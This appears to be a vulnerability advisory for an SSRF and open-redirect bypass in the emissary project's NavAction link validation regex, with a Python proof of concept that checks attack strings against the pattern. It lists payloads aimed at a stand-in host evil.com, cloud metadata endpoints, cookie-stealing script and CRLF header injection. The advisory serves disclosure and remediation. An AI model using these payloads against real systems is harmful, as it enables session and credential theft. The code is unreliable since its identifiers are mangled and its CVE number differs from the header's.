PT-2026-134409

CVE-2026-54442

·

تاريخ النشر

2026-10-30

·

تاريخ التحديث

2026-10-30

الوصف من

CVSS 3.1
4.8
متوسطة
المقاييسAV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N

Summary

The URL validation regex ^(https?:/)?/.* added to emissary's NavAction.java allows protocol-relative URLs (//evil.com/...) and single-slash scheme variants (http:/evil.com) to bypass validation, enabling SSRF and open redirect attacks.

Affected Package

  • Ecosystem: Maven
  • Package: NationalSecurityAgency/emissary
  • Affected versions: < e2078417464b
  • Patched versions: >= e2078417464b

Severity

Medium

CWE

CWE-918 — Server-Side Request Forgery (SSRF)

Details

The fix in NavAction.java (line 47) introduces a VALID LINK pattern:
java
Pattern.compile("^(https?:/)?/.*")
This regex is intended to restrict navigation links to relative paths and HTTP/HTTPS URLs. However, it has multiple bypass vectors.
Protocol-relative URLs (//evil.com/...): The group (https?:/)? is optional, so the pattern reduces to //.* when the group is absent. This matches //evil.com/steal?c=SESSION, which browsers resolve to the current page's protocol plus the attacker's host.
Single-slash scheme (http:/evil.com): The regex group captures http:/ as a valid match, and browsers normalize http:/evil.com to http://evil.com, creating an open redirect to the attacker's server.
Protocol-relative to cloud metadata (//169.254.169.254/...): This enables SSRF to cloud instance metadata endpoints, which is particularly dangerous in AWS/GCP environments where IAM credentials can be retrieved.
The pre-fix code had no validation at all, accepting any URL. The fix blocks javascript:, ftp:, and data: URIs, but the protocol-relative and single-slash bypasses remain exploitable.

PoC

python
"""
CVE-2026-35571 - NationalSecurityAgency/emissary SSRF via NavAction

The fix in commit e2078417464b adds URL scheme validation using:
  Pattern.compile("^(https?:/)?/.*")

This allows protocol-relative URLs (//evil.com) and single-slash variants
(http:/evil.com) to bypass the validation.

Tested against: emissary@0d4dc56 (pre-fix) and patch e207841
Extracted from: src/main/java/emissary/server/mvc/NavAction.java:47
"""

import re
import sys

FIXED PATTERN = re.compile(r"^(https?:/)?/.*")


def vulnerable accepts(link: str) -> bool:
  """Pre-fix behaviour: no validation, everything passes."""
  return True


def fixed accepts(link: str) -> bool:
  """Post-fix behaviour: must match VALID LINK pattern."""
  return bool(FIXED PATTERN.match(link))


TEST VECTORS = [
  ("javascript: XSS payload",
   "javascript:alert(document.cookie)", True),
  ("ftp: scheme",
   "ftp://evil.com/exfil", True),
  ("data: URI",
   "data:text/html,<script>alert(1)</script>", True),

  ("Relative path",
   "/path/to/resource", False),
  ("HTTP URL",
   "http://trusted.internal:8080/api", False),
  ("HTTPS URL",
   "https://trusted.internal/api", False),

  ("Protocol-relative URL to attacker host (//evil.com)",
   "//evil.com/steal?c=SESSION", True),
  ("Protocol-relative with embedded credentials",
   "//user:pass@evil.com/path", True),
  ("Protocol-relative to cloud metadata (//169.254.169.254)",
   "//169.254.169.254/latest/meta-data/", True),
  ("Backslash trick (evil.com)",
   "evil.com/path", True),
  ("Tab in scheme (javatscript:...)",
   "javatscript:alert(1)", True),
  ("Path starting with attacker-like host (/evil.com)",
   "/evil.com", False),
  ("Triple slash (///evil.com)",
   "///evil.com/etc/passwd", True),
  ("http:/ single-slash to attacker host",
   "http:/evil.com/steal", True),
  ("https:/ single-slash to attacker host",
   "https:/evil.com/steal", True),
  ("URL-encoded javascript scheme (%6a...)",
   "%6aavascript:alert(1)", True),
  ("CRLF injection in path",
   "/legitr
Location: http://evil.com", True),
]


def main():
  print("=" * 72)
  print("CVE-2026-35571 -- Emissary NavAction SSRF / Open-Redirect PoC")
  print("Pattern under test: ^(https?:/)?/.*")
  print("=" * 72)
  print()

  bypasses found = []
  results table = []

  for desc, url, should block in TEST VECTORS:
    vuln result = vulnerable accepts(url)
    fixed result = fixed accepts(url)

    if should block and fixed result:
      status = "BYPASS"
      bypasses found.append((desc, url))
    elif should block and not fixed result:
      status = "BLOCKED (good)"
    elif not should block and fixed result:
      status = "ALLOWED (good)"
    elif not should block and not fixed result:
      status = "FALSE-POS"
    else:
      status = "UNKNOWN"

    results table.append((desc, url, vuln result, fixed result, status))

  for desc, url, vuln, fixed, status in results table:
    display url = repr(url) if len(url) > 50 else url
    print(f"[{status:>15}] {desc}")
    print(f"{'':>17} URL: {display url}")
    print(f"{'':>17} pre-fix={vuln} post-fix={fixed}")
    print()

  print("=" * 72)
  print(f"Total vectors tested : {len(TEST VECTORS)}")
  print(f"Bypasses found    : {len(bypasses found)}")
  print()

  if bypasses found:
    print("VULNERABILITY CONFIRMED -- the following vectors bypass the fix:")
    print()
    for desc, url in bypasses found:
      print(f" - {desc}")
      print(f"  URL: {repr(url)}")
    print()
    print("Key finding: The regex ^(https?:/)?/.* allows protocol-relative")
    print("URLs (//evil.com/...) because the optional group (https?:/) can be")
    print("absent, leaving //.* which matches //attacker.com. This enables")
    print("SSRF to arbitrary external hosts via navigation links.")
    print()
    print("Additionally, http:/evil.com and https:/evil.com match the regex")
    print("(group 1 captures 'http:/' or 'https:/') and browsers normalise")
    print("these to http://evil.com, enabling open redirect / SSRF.")
    sys.exit(0)
  else:
    print("No bypasses found -- fix appears complete.")
    sys.exit(1)


if  name  == " main ":
  main()
Steps to reproduce:
  1. Run python3 poc.py
  2. Observe that protocol-relative and single-slash URLs bypass the regex
Expected output:
VULNERABILITY CONFIRMED
Protocol-relative URLs (//evil.com/) and single-slash variants (http:/evil.com) bypass the regex validation.

Impact

An attacker can craft navigation links that bypass URL validation to redirect users to attacker-controlled servers (open redirect) or make the emissary server issue requests to internal services (SSRF). The //169.254.169.254/latest/meta-data/ bypass is particularly dangerous in cloud environments, enabling retrieval of IAM credentials.

Suggested Remediation

Replace the regex with one that explicitly rejects protocol-relative URLs. Alternatively, parse the URL with java.net.URI and validate the scheme and host against an allowlist rather than relying on regex.

References

قابلية الاستغلال
إصلاح
التأثيرات
المورّدون
المنتجات المتأثرة
تصنيف نقاط الضعف
المعرّفات ذات الصلة
GHSA-C6Q7-WQW2-H65W
وجدت خطأً في الوصف؟ لديك ما تضيفه؟ لا تتردد في مراسلتنا 👾